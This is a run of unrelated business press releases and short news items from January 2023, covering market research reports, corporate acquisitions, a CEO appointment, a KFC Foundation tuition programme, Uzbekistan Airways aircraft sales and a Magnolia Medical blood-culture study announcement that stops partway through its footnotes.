The major in-flight catering services are meals, bakery and confectionery, beverages, and other types. A meal refers to a meal served to passengers onboard a commercial airliner. These meals are prepared by specialist airline catering companies and served to passengers using an airline service trolley. The various flight types include full-service carriers, low-cost carriers that have aircraft seating classes such as economy class, business class, and first class. The different sources include in-house and outsourced.



North America was the largest region in the in-flight catering services market in 2021. The regions covered in the in-flight catering services report are Asia-Pacific, Western Europe, Eastern Europe, North America, South America, Middle East and Africa.



Increased air traffic is expected to propel the growth of the in-flight catering services market. In recent years, the number of people who travel by plane has skyrocketed. This indicates that a large number of individuals can now afford to travel by plane. The changing lifestyle coupled with increasing disposable income has triggered the increase in air travel demand for leisure and business purposes.

In-flight catering has become important for travellers, especially for network carriers serving long distances. For instance, in November 2021, according to the Federal Aviation Administration, on a daily basis, the Air Traffic Organization (ATO) provides service to 2.9 million airline passengers in more than 45,000 flights across approximately 29 million square miles of airspace. Therefore, increasing air traffic is driving the growth of the in-flight catering services market.



Increasing investment is the key trend gaining popularity in the in-flight catering services market. Many companies operating in the in-flight catering services sector are focused on investments to meet customer demand. For instance, in June 2021, Newrest, a France-based company that provides in-flight catering services, signed a new inflight catering contract with an American airline in Atlanta. Through the contract, Newrest increases its capacity from 4,000 meals per day to 6,500 meals per day.

New in-flight catering standards from Newrest provide good quality food to passengers. Also, in March 2019, SATS, a Singapore-based in-flight catering service provider, announced a $25 million investment to reduce tech waste from airplane meals. The kitchen can now produce up to 60,000 meals a day, including in-flight catering services.



In October 2021, Newrest, a France-based catering provider, acquired Delight Air Catering for an undisclosed amount. With this acquisition, Newrest expands its business in Germany and would also build a strong network in in-flight catering services. Delight Air Catering is a Germany-based company that provides in-flight catering services.



The countries covered in the in-flight catering services market report are Australia, Brazil, China, France, Germany, India, Indonesia, Japan, Russia, South Korea, UK, USA.

Key Topics Covered:



1. Executive Summary



2. In-Flight Catering Services Market Characteristics



3. In-Flight Catering Services Market Trends And Strategies



4. Impact Of COVID-19 On In-Flight Catering Services



5. In-Flight Catering Services Market Size And Growth

5.1. Global In-Flight Catering Services Historic Market, 2016-2021, $ Billion

5.1.1. Drivers Of The Market

5.1.2. Restraints On The Market

5.2. Global In-Flight Catering Services Forecast Market, 2021-2026F, 2031F, $ Billion

5.2.1. Drivers Of The Market

5.2.2. Restraints On the Market



6. In-Flight Catering Services Market Segmentation

6.1. Global In-Flight Catering Services Market, Segmentation By Aircraft Seating Class, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

Economy Class

Business Class

First Class

6.2. Global In-Flight Catering Services Market, Segmentation By Source, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

In-house

Outsource

6.3. Global In-Flight Catering Services Market, Segmentation By Flight Type, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

Full Service Carriers

Low Cost Carriers

6.4. Global In-Flight Catering Services Market, Segmentation By Food Type, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

Meal

Bakery and confectionery

Beverage

Other Types

7. In-Flight Catering Services Market Regional And Country Analysis

7.1. Global In-Flight Catering Services Market, Split By Region, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

7.2. Global In-Flight Catering Services Market, Split By Country, Historic and Forecast, 2016-2021, 2021-2026F, 2031F, $ Billion

For more information about this report visit https://www.researchandmarkets.com/r/fb61d1

Media Contact:

Research and Markets

Laura Wood, Senior Manager

[email protected]

For E.S.T Office Hours Call +1-917-300-0470

For U.S./CAN Toll Free Call +1-800-526-8630

For GMT Office Hours Call +353-1-416-8900

U.S. Fax: 646-607-1904

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SOURCE Research and Markets
DUBLIN, Jan. 24, 2023 /PRNewswire/ -- The "Discrete Semiconductor Market: Global Industry Trends, Share, Size, Growth, Opportunity and Forecast 2022-2027" report has been added to ResearchAndMarkets.com's offering.



The global discrete semiconductor market size reached US$ 25.68 Billion in 2021. Looking forward, the publisher expects the market to reach US$ 37 Billion by 2027, exhibiting a CAGR of 6.28% during 2021-2027.

Keeping in mind the uncertainties of COVID-19, we are continuously tracking and evaluating the direct as well as the indirect influence of the pandemic on different end use industries. These insights are included in the report as a major market contributor.



Discrete semiconductors are singular devices that are constructed to perform a function similar to that of two different devices in a specific configuration. Bipolar transistors, rectifiers, insulated-gate bipolar transistors (IGBTs), metal-oxide-semiconductor field-effect transistors (MOSFETs) and thyristors are some common product types.

They are utilized to perform minor electronic functions, including power conversion and voltage regulation in computers, smartphones, hybrid cars, LED lighting, tablets and portable medical electronics. Discrete semiconductors are reliable, portable, and easily replaceable and offer increased operating speed and lower power consumption. As a result, they find extensive applications across the automotive, consumer electronics, and telecommunications industries.



Discrete Semiconductor Market Trends:



Significant growth in the automotive industry across the globe is creating a positive outlook for the market. Discrete semiconductors are widely used in vehicles enabled with mobile phone integration, independent directing guides, and heads-up displays.

In line with this, the increasing adoption of electric vehicles (EVs), hybrid electric vehicles (HEV), autonomous car technology, and regenerative braking systems are favoring the market growth. Apart from this, various product innovations, such as the launch of silicon-carbide (SiC) MOSFETs that enhance power devices for EV powertrains and increase power density, energy efficiency, and reliability, are providing a thrust to the market growth.

Additionally, the widespread product utilization to manufacture various consumer electronics, such as tablets, computers, ovens, refrigerators and portable electronics, is augmenting the market growth.

Other factors, including the increasing demand for high-energy and power-efficient devices, extensive research and development (R&D) activities, growing requirement for high-energy and power-efficient devices, the launch of wireless and portable electronic products, and the rising need for green energy power generation, are anticipated to drive the market growth.

Competitive Landscape:



The competitive landscape of the industry has also been examined along with the profiles of the key players being Diodes Incorporated, Fuji Electric Co. Ltd., Hitachi Ltd., Infineon Technologies AG, Littelfuse Inc., Microchip Technology Inc., Mitsubishi Electric Corporation, Nexperia (Wingtech Technology), NXP Semiconductors N.V., On Semiconductor Corporation, Qorvo, STMicroelectronics, Taiwan Semiconductor Manufacturing Company Limited and Toshiba Electronic Devices & Storage Corporation (Toshiba Corporation).



Key Questions Answered in This Report:

How has the global discrete semiconductor market performed so far and how will it perform in the coming years?

What has been the impact of COVID-19 on the global discrete semiconductor market?

What are the key regional markets?

What is the breakup of the market based on the type?

What is the breakup of the market based on the end user?

What are the various stages in the value chain of the industry?

What are the key driving factors and challenges in the industry?

What is the structure of the global discrete semiconductor market and who are the key players?

What is the degree of competition in the industry?

Key Topics Covered:



1 Preface



2 Scope and Methodology



3 Executive Summary



4 Introduction

4.1 Overview

4.2 Key Industry Trends



5 Global Discrete Semiconductor Market

5.1 Market Overview

5.2 Market Performance

5.3 Impact of COVID-19

5.4 Market Forecast



6 Market Breakup by Type

6.1 Diodes

6.1.1 Market Trends

6.1.2 Key Segments

6.1.2.1 General-Purpose Rectifiers

6.1.2.2 High-Speed Rectifiers

6.1.2.3 Switching Diodes

6.1.2.4 Zener Diodes

6.1.2.5 ESD Protection Diodes

6.1.2.6 Variable-Capacitance Diodes

6.1.3 Market Forecast

6.2 Transistors

6.2.1 Market Trends

6.2.2 Key Segments

6.2.2.1 MOSFET

6.2.2.2 IGBT

6.2.2.3 Bipolar Transistor

6.2.3 Market Forecast

6.3 Thyristor

6.3.1 Market Trends

6.3.2 Market Forecast

6.4 Modules

6.4.1 Market Trends

6.4.2 Market Forecast



7 Market Breakup by End User

7.1 Automotive

7.1.1 Market Trends

7.1.2 Market Forecast

7.2 Consumer Electronics

7.2.1 Market Trends

7.2.2 Market Forecast

7.3 Communication

7.3.1 Market Trends

7.3.2 Market Forecast

7.4 Industrial

7.4.1 Market Trends

7.4.2 Market Forecast

7.5 Others

7.5.1 Market Trends

7.5.2 Market Forecast



8 Market Breakup by Region



9 SWOT Analysis



10 Value Chain Analysis



11 Porters Five Forces Analysis



12 Price Analysis



13 Competitive Landscape

13.1 Market Structure

13.2 Key Players

13.3 Profiles of Key Players

13.3.1 Diodes Incorporated

13.3.1.1 Company Overview

13.3.1.2 Product Portfolio

13.3.1.3 Financials

13.3.2 Fuji Electric Co. Ltd.

13.3.2.1 Company Overview

13.3.2.2 Product Portfolio

13.3.2.3 Financials

13.3.2.4 SWOT Analysis

13.3.3 Hitachi Ltd.

13.3.3.1 Company Overview

13.3.3.2 Product Portfolio

13.3.3.3 Financials

13.3.3.4 SWOT Analysis

13.3.4 Infineon Technologies AG

13.3.4.1 Company Overview

13.3.4.2 Product Portfolio

13.3.4.3 Financials

13.3.4.4 SWOT Analysis

13.3.5 Littelfuse Inc.

13.3.5.1 Company Overview

13.3.5.2 Product Portfolio

13.3.5.3 Financials

13.3.6 Microchip Technology Inc.

13.3.6.1 Company Overview

13.3.6.2 Product Portfolio

13.3.6.3 Financials

13.3.6.4 SWOT Analysis

13.3.7 Mitsubishi Electric Corporation

13.3.7.1 Company Overview

13.3.7.2 Product Portfolio

13.3.7.3 Financials

13.3.7.4 SWOT Analysis

13.3.8 Nexperia (Wingtech Technology)

13.3.8.1 Company Overview

13.3.8.2 Product Portfolio

13.3.9 NXP Semiconductors N.V.

13.3.9.1 Company Overview

13.3.9.2 Product Portfolio

13.3.9.3 Financials

13.3.10 On Semiconductor Corporation

13.3.10.1 Company Overview

13.3.10.2 Product Portfolio

13.3.10.3 SWOT Analysis

13.3.11 Qorvo

13.3.11.1 Company Overview

13.3.11.2 Product Portfolio

13.3.11.3 Financials

13.3.11.4 SWOT Analysis

13.3.12 STMicroelectronics

13.3.12.1 Company Overview

13.3.12.2 Product Portfolio

13.3.13 Taiwan Semiconductor Manufacturing Company Limited

13.3.13.1 Company Overview

13.3.13.2 Product Portfolio

13.3.13.3 Financials

13.3.14 Toshiba Electronic Devices & Storage Corporation (Toshiba Corporation)

13.3.14.1 Company Overview

13.3.14.2 Product Portfolio

For more information about this report visit https://www.researchandmarkets.com/r/9k4pmt

Media Contact:

Research and Markets

Laura Wood, Senior Manager

[email protected]



For E.S.T Office Hours Call +1-917-300-0470

For U.S./CAN Toll Free Call +1-800-526-8630

For GMT Office Hours Call +353-1-416-8900



U.S. Fax: 646-607-1907

Fax (outside U.S.): +353-1-481-1716

Logo: https://mma.prnewswire.com/media/539438/Research_and_Markets_Logo.jpg

SOURCE Research and Markets
PITTSBURGH, Jan. 24, 2023 /PRNewswire/ -- "I thought there should be a simple and strain-free way to clean up after your pet dog," said an inventor, from Philadelphia, Pa., "so I invented the POOP ARM. My design would capture pet waste prior to it coming in contact with the ground, and without conventional bending and hand retrieval methods."

The patent-pending invention provides an effective way to capture and collect pet dog waste. In doing so, it eliminates the need to bend over and collect the waste from ground surfaces. As a result, it reduces messes and physical strain and it enhances sanitation and convenience. The invention features a portable and lightweight design that is easy to use so it is ideal for pet dog owners, animal shelters, kennels, etc. Additionally, it is producible in design variations.

The original design was submitted to the Philadelphia sales office of InventHelp. It is currently available for licensing or sale to manufacturers or marketers. For more information, write Dept. 21-PLB-205, InventHelp, 217 Ninth Street, Pittsburgh, PA 15222, or call (412) 288-1300 ext. 1368. Learn more about InventHelp's Invention Submission Services at http://www.InventHelp.com.

SOURCE InventHelp
NEW YORK, Jan. 24, 2023 /PRNewswire/ -- Aurora North, advised by JEGI CLARITY, has sold its Intapp Solutions Division to Wilson Allen, a portfolio company of Renovus Capital Partners.

Founded in 2006, Aurora North is a Vermont-based software and services company. It is a leading provider of integrated technology solutions to law firms and other organizations delivering technology implementation, integration and advisory services as well as intellectual property software solutions through its flagship product PracticeLink. The Intapp Solutions Division of Aurora North is a leading global provider of implementation and integration services relating to Intapp's cloud-based software solutions, which are client and engagement lifecycle management solutions purpose-built for professional services firms, enabling them to transform their most critical business operations.

Wilson Allen's acquisition of the Aurora North Intapp Solutions Division further strengthens Renovus Capital Partners' legal market services portfolio, which also includes LAC Group and HBR Consulting. The acquisition will significantly expand capabilities and the number of Intapp specialists in Wilson Allen, making it the largest provider of Intapp OnePlace services and expertise in North America and the UK. The Intapp team from Aurora North will join Wilson Allen's specialist practice teams  Financial Systems, Intapp, Martech, Data & Analytics, Training & Adoption  that collectively form the Technology Services group.

About JEGI CLARITY

JEGI CLARITY is a pre-eminent M&A advisory firm for the media, marketing, information and technology industries. With a global reach from New York, London, Boston, Sydney and San Francisco, we have closed more than 800 transactions during our 35+ year history. For more information, visit www.jegiclarity.com.

Contact:

Kelsey Kovachik

Vice President of Marketing

+1 212 754 0710

[email protected]

www.jegiclarity.com

SOURCE JEGI CLARITY
NEW YORK, Jan. 24, 2023 /PRNewswire/ -- Ivy Exec, advised by JEGI CLARITY, has been sold to InnovateMR, a portfolio company of CIVC Partners.

Headquartered in Manhattan, Ivy Exec is a leading provider of B2B qualitative expert insights. Ivy Exec delivers curated content and networking opportunities to roughly 2.5 million decision makers, subject matter experts and key opinion leaders. Ivy Exec's Ivy Insights Division, the research business within Ivy Exec, provides paid B2B qualitative consulting engagements with top research companies, consulting firms, Fortune 500 companies and financial sponsors.

The acquisition of Ivy Exec will drive strong profitable growth by strengthening InnovateMR's capabilities and creating a differentiated provider of valuable solutions. As a leader in specialized research, this acquisition further accelerates InnovateMR's commitment to data quality and global B2B survey participant reach.

About JEGI CLARITY

JEGI CLARITY is a pre-eminent M&A advisory firm for the media, marketing, information and technology industries. With a global reach from New York, London, Boston, Sydney and San Francisco, we have closed more than 800 transactions during our 35+ year history. For more information, visit www.jegiclarity.com.

Contact: Kelsey Kovachik, Vice President of Marketing

+1 212 754 0710 | [email protected] | www.jegiclarity.com

SOURCE JEGI CLARITY
DENVER, Jan. 24, 2023 /PRNewswire/ -- Leiters, a trusted FDA-registered 503B outsourcing provider of compounded sterile preparations and pharmacy services, announced today that it has appointed Joseph C. Cosgrove as President, Chief Executive Officer, and Director of the Company. Mr. Cosgrove is a recognized innovator across the healthcare services industry who brings over 30 years of experience successfully transforming healthcare companies in periods of exceptional growth and value creation, through patient-centric, mission-driven leadership.

Mr. Cosgrove joined Leiters on January 16, 2023 and will be based out of the company's offices in Denver, Colorado. For the past fifteen years, he served as Chairman, President, and Chief Executive Officer for Pentec Health. He shepherded the firm through unprecedented operational expansion and diversification of products, services, and profitability while creating a "quality-first" culture. Under his leadership, the company successfully executed three private equity transactions during his tenure.

"Leiters' Board sought an innovative CEO with outstanding credentials and experience in leading a complex business, and a track record of outstanding operating performance with an uncompromising focus on quality," said Mike Butler, Chairman of Leiters' Board of Directors. "Joe is a highly respected healthcare leader who has a distinguished track record of driving world-class quality and operational excellence, enhancing growth, and creating value for all constituents  customers, patients, shareholders, partners and employees."

"I am humbled and incredibly excited to have been selected by the Board to lead Leiters through the next phase of exponential growth," said Mr. Cosgrove. "Leiters has been heralded as one of the leading FDA-registered 503B outsourcing providers of compounded sterile preparations for many years. I am committed to driving thoughtful transformational change and unlocking future growth potential by strengthening relationships with our customers, optimizing operational efficiencies, and creating innovative partnerships."

Mr. Cosgrove will work in close partnership with Leiters' strategic health system investors including, Corewell Health, Intermountain Ventures, Kaiser Permanente Ventures, Mayo Clinic, Novant Health, Rex Health Ventures, UNC Health, as well as an additional Top 5 US Health System yet to be announced.

As part of its ongoing commitment to quality, compliance and manufacturing excellence, Leiters continues to invest in its state-of-the-art facilities including two existing facilities in Denver, Colorado and a new facility in Buena, New Jersey, which will be operational later this year. Leiters remains committed to providing the healthcare industry with the highest quality compounded sterile preparations and stands ready to support the needs of the market now and in the future.

About Leiters

Leiters is a trusted FDA-registered 503B outsourcing provider of high-quality compounded sterile preparations and pharmacy services. It is committed to providing healthcare professionals and their patients with critically needed outsourced medications. Its team of experts in sterile pharmaceutical manufacturing, repackaging and compounding provide a sophisticated understanding of what it takes to elevate quality and consistency of supply in pharmaceutical outsourcing. Leiters combines a highly experienced team, with robust automated processes, in a state-of-the-art outsourcing facility, to ensure delivery of the highest quality medicines. All sterile preparations are produced under the Human Drug Outsourcing Facilities under 503B of the FD&C Act (503B Guidance) and follow Current Good Manufacturing Practices (cGMP). To learn more about how Leiters is Compounding Health please visit www.leiters.com.

Media Contact:

Kari Cashmore

720-414-7216

[email protected]

SOURCE Leiters
KANSAS CITY, Mo., Jan. 23, 2023 /PRNewswire/ -- The Board of Directors of Kansas City Life Insurance Company declared a quarterly dividend of $0.14 per share on Jan. 23, 2023. The dividend will be payable on Feb. 8, 2023, to stockholders of record on Feb. 2, 2023.

Kansas City Life Insurance Company (OTCQX: KCLI) was established in 1895 and is based in Kansas City, Missouri. The Company's primary business is providing financial protection through the sale of life insurance and annuities. The Company operates in 49 states and the District of Columbia. For more information, please visit www.kclife.com.

SOURCE Kansas City Life Insurance Company
KFC restaurant employees who apply and enroll will have the opportunity to receive 100 percent tuition coverage when attending WGU to earn their degree

LOUISVILLE, Ky., Jan. 24, 2023 /PRNewswire/ -- The KFC Foundation, in partnership with Western Governors University (WGU), today announced that KFC restaurant employees* will have the opportunity to receive 100 percent paid tuition when attending WGU to earn their degree.

Starting February 2023, the KFC Foundation, in partnership with Western Governors University, will offer eligible KFC restaurant employees 100 percent paid tuition when attending WGU to earn their degree. The WGU tuition coverage program is one of the many charitable programs that the KFC Foundation offers at participating restaurants to support and empower KFC restaurant employees to grow their careers and accomplish their goals. These efforts are funded and made possible by purchases of KFCs Secret Recipe Fries, and at-register Round-Up donations, among other initiatives.

Through this partnership, KFC restaurant employees can choose from more than 60 different bachelor's and master's degree programs and certification programs across Business, Information Technology, Education and Healthcare. The KFC Foundation program is non-competitive, meaning every eligible employee who applies and enrolls will get tuition coverage. Access to this opportunity is available beginning day one on the job for restaurant employees. WGU also offers rolling start dates every month, so KFC restaurant employees have the flexibility to enroll at any time and begin online courses as soon as they're ready.

"Every year we look for new ways to support and enhance the lives of KFC restaurant employees," said Emma Horn, Executive Director of the KFC Foundation. "What better opportunity to be able to offer team members than a flexible college degree program from Western Governors University that can fit seamlessly into their schedule. The program at WGU is perfect for someone who may not have enough hours in the day to balance a traditional college experience on top of a full- or part time- job and other life priorities."

Western Governors University is an accredited online university dedicated to making higher education accessible for as many people as possible. It is the leading academic institution where students learn and advance through competency-based education, rather than semester completion. As soon as a student masters the skills in a course and proves them through rigorous assessment, they progress in the program. Competency-based education works particularly well for learners in the workforce, giving them control over the pace of how and when they learn and may save them time progressing through the degree program.

"Talent exists within every individual but the keys to unlock it can vary for each person," said Scott Pulsipher, President of Western Governors University. "Tens of thousands of KFC restaurant employees across the country can now further advance their lives, and that of their families and communities, by accessing and completing education programs that are relevant and personalized. I'm thankful that the KFC Foundation has entrusted WGU as its education partner to expand pathways to opportunity for KFC employees."

The KFC Foundation is an independent 501c3 organization that supports and empowers KFC restaurant employees and their communities by providing education opportunities, hardship assistance, grants for non-profits, and more. In addition to the WGU tuition coverage program, the KFC Foundation offers participating restaurant employees up to $20,000 in educational grants to attend the two- or four-year college, trade school or graduate school of their choice. KFC restaurant employees can apply for and win KFC Foundation scholarships year after year.

Programs offered by the KFC Foundation are funded and made possible by initiatives and programs including at-register Round-Up donations and purchases of KFC's Secret Recipe Fries. KFC Franchisees have the opportunity to participate in the Foundation's Annual Franchise Donation Program, in which a portion of every case of Secret Recipe Fries sold at participating restaurants goes directly to the KFC Foundation. The KFC Foundation's other charitable programs help restaurant employees earn their GED, receive support during a crisis, build an emergency savings fund and give back to non-profits in their community.

"Together with our franchisees, we seek to create meaningful career growth and employee development opportunities for our restaurant teams every day," said Karen Ancira, Chief People Officer, KFC U.S and KFC Foundation Board Member. "Whether it's the opportunity to earn a GED for free, a scholarship to the educational institution of their choice, or 100 percent tuition to WGU, our restaurant teams now have more options than ever to grow their careers with KFC or pursue any career they wish."

KFC restaurant employees interested in the WGU program can go to Kfcfoundation.org/wgu to learn more, and those interested in working at a KFC restaurant can visit kfc.com/careers for more information about available job opportunities in their area.

*To be eligible for the KFC Foundation's programs, one must be employed at a KFC restaurant participating in the KFC Foundation's Annual Franchise Donation Program and in good standing. Must maintain employment while taking advantage of these programs. Some restrictions may apply. See KFCFoundation.org for details.

References to "KFC" refer to corporate and independently owned KFC restaurants. KFC Corporation has no involvement in hiring decisions, orientation, staffing or the setting of wage rates and benefits for employees of independently owned and operated franchised locations. Benefits vary by location.

About the KFC Foundation

The KFC Foundation, an independent 501c3 organization, has provided over $25 million to support and empower more than 9,000 KFC restaurant employees, students and community non-profits across the U.S. The KFC Foundation's charitable programs include GED achievement, college scholarships, tuition coverage, community giving, savings matching and financial hardship assistance, all made possible by at-register Round-Up donations, purchases of KFC's Secret Recipe Fries and other donations. For more information, visit kfcfoundation.org. Visit our social channels: Facebook | Twitter | Instagram | LinkedIn

About Western Governors University

Established in 1997 by 19 U.S. governors with a mission to expand access to high-quality, affordable higher education, online, nonprofit WGU now serves more than 135,000 students nationwide and has more than 300,000 graduates in all 50 states. Driving innovation as the nation's leading competency-based university, WGU has been recognized by the White House, state leaders, employers, and students as a model that works in postsecondary education. In just 25 years, the university has become a leading influence in changing the lives of individuals and families, and preparing the workforce needed in today's rapidly evolving economy. WGU is accredited by the Northwest Commission on Colleges and Universities, has been named one of Fast Company's Most Innovative Companies, and has been featured on NPR, NBC Nightly News, CNN, and in The New York Times. Learn more at wgu.edu and wgu.edu/impact.

SOURCE KFC
Uzbekistan Airways has announced plans for selling old Boeing aircraft, as part of the privatization program, Azernews reports per the Uzbek media.

Earlier in 2022, the Uzbek government has developed a strategy for the privatization of Uzbekistan Airways. According to this strategy, 51 percent of the airline's share will be put up for auction. British ACC Aviation company was engaged by the State Assets Agency as a consultant to organize this process.

To date, the Uzbekistan Airways fleet consists of 37 Boeing aircraft. The aircraft on sale are Boeing 757 (UK 75701), Boeing 757 (UK 75702), manufactured in 1999; Boeing 767 (UK 67007) of 2003; Boeing 767 (UK 67008) in 2004.

Furthermore, Uzbekistan Airways JSC has signed a trade agreement with Airbus the French aircraft manufacturer on the purchase of twelve A320neo family aircraft. Uzbekistan will purchase eight A320neo aircraft and four A321neo aircraft from the Airbus company for 694.3 million euros.
BOISE, Idaho, Jan. 24, 2023 /PRNewswire/ -- Killer Creamery will launch all four of their sugar-free ice cream sandwiches into the 2000+ retail doors owned by Albertsons Companies. These banners include well-known names such as VONS, Safeway, ACME, and Jewel-Osco.

The increase in distribution comes after Killer Creamery posts impressive sales velocities in the test regions the summer before. Killer Creamery's sugar-free ice cream sandwich was the fastest selling better-for-you novelty product in the category.

Chocolate, Vanilla, Caramel, Mint Chip Zero Sugar Ice Cream Sandwiches

Louis Armstrong, had this to say about the opportunity to distribute nationally with Albertsons Companies.

"We are so thankful for the opportunity to continue to grow with Albertsons Co. They have been a great retail partner for us since we started this business in 2016. I look forward to continuing to work with them on a national level and support their business any way we can," said Louis.

The positive news follows a great week at Killer Creamery as the company and the board also announced the partnership with Idaho Milk Products in Twin Falls, ID. This partnership allows Killer Creamery to better control their supply chain and brings a whole new level of stability to its growing ice cream business.

"Killer Creamery, partnering with some of the largest dairymen in the state, becomes an interesting relationship for a startup," said Armstrong.

This manufacturing relationship could lead to one of the largest ice cream manufacturing plants in the pacific northwest and a potential win for not only the company itself but the economic growth of the Magic Valley.

Edible Armstrong Inc DBA Killer Creamery is based in Boise, ID. They are manufacturers and distributors of sugar-free and gluten free ice cream products in retail locations around the United States.

Contact: Tate Glasgow

VP of Marketing

503-780-8421

[email protected]

SOURCE Killer Creamery
Community Rewards allows customers to direct money to local nonprofits

CINCINNATI, Jan. 24, 2023 /PRNewswire/ -- The Kroger Co. (NYSE: KR), America's grocer, today shared its Community Rewards program has directed more than $200 million in charitable giving since 2017, donating to thousands of local organizations across America. Established two decades ago, the Kroger Community Rewards program allows loyalty members to select a local charity about which they are passionate to benefit from their purchases.

"We are incredibly proud to uplift our local communities through the Community Rewards program and empower our customers to give back to their local service organizations each time they shop with us," said Rodney McMullen, Kroger's chairman and CEO. "Kroger is immensely grateful our customers support causes and organizations they care most about in our communities, joining in Kroger's Purpose to Feed the Human Spirit. We look forward to making a greater impact together."

Designed to be the easiest industry giving program, Kroger Community Rewards makes fundraising simple by donating to local organizations based on the shopping customers do every day. With tens of thousands of local nonprofits enrolled, recipients include schools, faith-based programs, youth sports, animal support organizations and many other nonprofits directly serving communities across America.

Kroger loyalty members interested in giving back through the Community Rewards program can join here by selecting a preferred organization from the list of eligible entities in their region. Enrolled customers can view their earned contributions on a quarterly basis by logging in to their Kroger digital accounts.

Organizations wishing to become a beneficiary of the program can learn more here. Kroger Community Rewards is open to organizations that are tax-exempt under 501(c)(3) of the Internal Revenue Code.

To learn more about the Kroger Community Rewards program, visit here.

About Kroger

At The Kroger Co. (NYSE: KR), we are dedicated to our Purpose: To Feed the Human Spirit. We are, across our family of companies nearly half a million associates who serve over 11 million customers daily through a seamless digital shopping experience and retail food stores under a variety of banner names, serving America through food inspiration and uplift, and creating #ZeroHungerZeroWaste communities by 2025. To learn more about us, visit our newsroom and investor relations site.

SOURCE The Kroger Co.
Recently published University of Arkansas study examined the patient-specific risk factors and clinical outcomes associated with contaminated blood cultures for patients with suspected bloodstream infections

SEATTLE, Jan. 24, 2023 /PRNewswire/ -- Magnolia Medical Technologies, Inc. ("Magnolia Medical"), inventors of the Steripath Initial Specimen Diversion Device (ISDD), the only FDA 510(k)-cleared device platform specifically indicated to reduce blood culture contamination for sepsis testing accuracy1, today shared the publication of recent clinical results from the University of Arkansas for Medical Sciences (UAMS) Medical Center in Little Rock, Arkansas. This four-year retrospective analysis examined the clinical and financial impacts of blood culture contamination on patient safety, outcomes, and in-hospital patient mortality.

Blood cultures are the gold standard diagnostic test for detecting blood stream infections, including sepsis. Blood culture is one of the most frequently performed diagnostic tests in U.S. hospitals with an estimated 58 million tests each year. However, positive blood culture results are frequently wrong, with approximately 40% of positive results returning a false-positive result due to contamination.

These false-positive results can lead to the misdiagnosis of sepsis and subject the patient to unnecessary, prolonged, and harmful broad-spectrum antibiotic treatment and unnecessary extended length of in-patient hospital stay. This in turn increases the risk for acute kidney injury, Clostridioides difficile infection (CDI), Multidrug-Resistant Organism (MDRO) infections, other hospital-acquired infections (HAI), and significant avoidable hospital costs.

The study, entitled "Risk factors and clinical outcomes associated with blood culture contamination", published in the peer-reviewed medical journal Infection Control & Hospital Epidemiology, specifically compared clinical outcomes for patients with contaminated blood cultures (cases) against the clinical outcome of patients with negative blood cultures (controls) for inpatients with blood cultures collected in the Emergency Department (ED) from 2014 to 2018.

Based on their four-year retrospective analysis, researchers reported that after controlling for age, race, Body Mass Index (BMI), comorbidities, and sepsis, blood culture contamination increased vancomycin days of therapy by 40 percent, the risk of acute kidney injury by 40 percent as well, and lengthened patient hospital stay by 24 percent. The most alarming finding, however, was the significant, near doubling of in-hospital patient mortality rate  from a 4.6 percent in-hospital patient mortality rate for patients in the true negative blood culture control group to an 8.0 percent in-hospital patient mortality rate for patients that had contaminated blood cultures.

The study concluded that blood culture contamination can have "devastating clinical consequences for patients" including "increased length of stay, vancomycin days of therapy, hospital costs, acute kidney injury, and in-hospital patient mortality". Given these findings, the researchers emphasized the importance of mitigating unnecessary blood culture contamination with novel interventions and a culture of quality change to reduce the negative burden of this essential diagnostic test.

"Blood culture contamination is an underrecognized adverse event in hospitalized patients that increases negative clinical outcomes by directly placing our patients at unnecessary risk," said Dr. Ryan K. Dare, co-author and Associate Professor of Medicine, Infectious Diseases Specialist, and Medical Director of the Antimicrobial Stewardship Program at University of Arkansas for Medical Sciences Health.

"It is imperative for hospital systems to make decreasing blood culture contamination a priority to improve safety for patients under our care. Sterile technique for blood culture collection remains difficult to achieve in high-risk individuals and in high-risk settings such as emergency departments. Access to an initial specimen diversion device that is user friendly, cost effective, and successful at decreasing rates of contamination represents a game changer for patient safety and opportunity to dramatically improve patient outcomes," said Dr. Dare.

"This study includes one of the largest data sets to date examining and directly quantifying the preventable consequences of blood culture contamination on patient safety and clinical outcomes," said Greg Bullington, CEO and Co-Founder of Magnolia Medical.

"This definitive data adds to the substantial body of evidence that already exists demonstrating that contaminated blood culture results drive avoidable, severely negative outcomes for patients and the healthcare system, including increased costs, inappropriate antibiotic usage that contributes to the rise of multidrug-resistant organisms, increased length of stay, and other preventable adverse events. Given these implications, we remain committed to partnering with all hospitals and health systems in their mission to achieve zero blood culture contaminations and zero patients harmed. We have already supported hundreds of U.S. hospitals and healthcare systems in achieving sustained near-zero blood culture contamination rates with the Steripath Initial Specimen Diversion Device and are encouraged by our continued rapid growth as we expand the footprint of hospitals we are enabling to address this significant problem," concluded Bullington.

About Steripath

The Steripath Initial Specimen Diversion Device platform offers the only all-in-one devices that are designed to meet the ENA, INS, CDC, and CLSI evidence-based best practice guidelines to reduce blood culture contamination and clinically proven to meet the CLSI and CDC's new 1% goal for contamination.2,3,4,5,6 To date, 20 clinical studies have been completed supporting the clinical and cost effectiveness of Steripath. All studies reported sustained contamination rates of 0-1% using Steripath, up to a 31% reduction in vancomycin days of therapy, and as much as a 12-fold decrease in false-positive central line-associated blood stream infections (CLABSIs) over extended periods of time.7,8,9

About Magnolia Medical Technologies

Magnolia Medical Technologies develops, manufactures, and markets innovative blood and bodily fluid collection devices to facilitate significant improvements in the accuracy, consistency, and predictability of critical laboratory tests. Magnolia Medical invented and patented the Initial Specimen Diversion Technique (ISDT) and Initial Specimen Diversion Device (ISDD) for blood culture collection and contamination prevention. The company has amassed an intellectual property portfolio, including more than 130 issued method, apparatus, and design patents with more than 50 additional patent applications pending. For more information, visit www.magnolia-medical.com.

1 Indicated for use as a blood collection system that diverts and sequesters the initial specimen prior to collection of a subsequent test sample to reduce the frequency of blood culture contamination when contaminants are present in the initial blood sample compared to blood cultures drawn with standard procedure without manual diversion.

2 CLSI. Principles and Procedures for Blood Cultures. 2nd Ed. CLSI Guideline M47. Clinical and Laboratory Standards Institute; 2022.

3 CDC. Blood Culture Contamination Prevention Actions: An Overview of Infection Control and Antibiotic Stewardship Programs Working with the Clinical Laboratory. July 2022.

4 CDC National Email Update to Clinicians. Clinicians: Use this guide to decrease blood culture contamination rates. July 22, 2022.

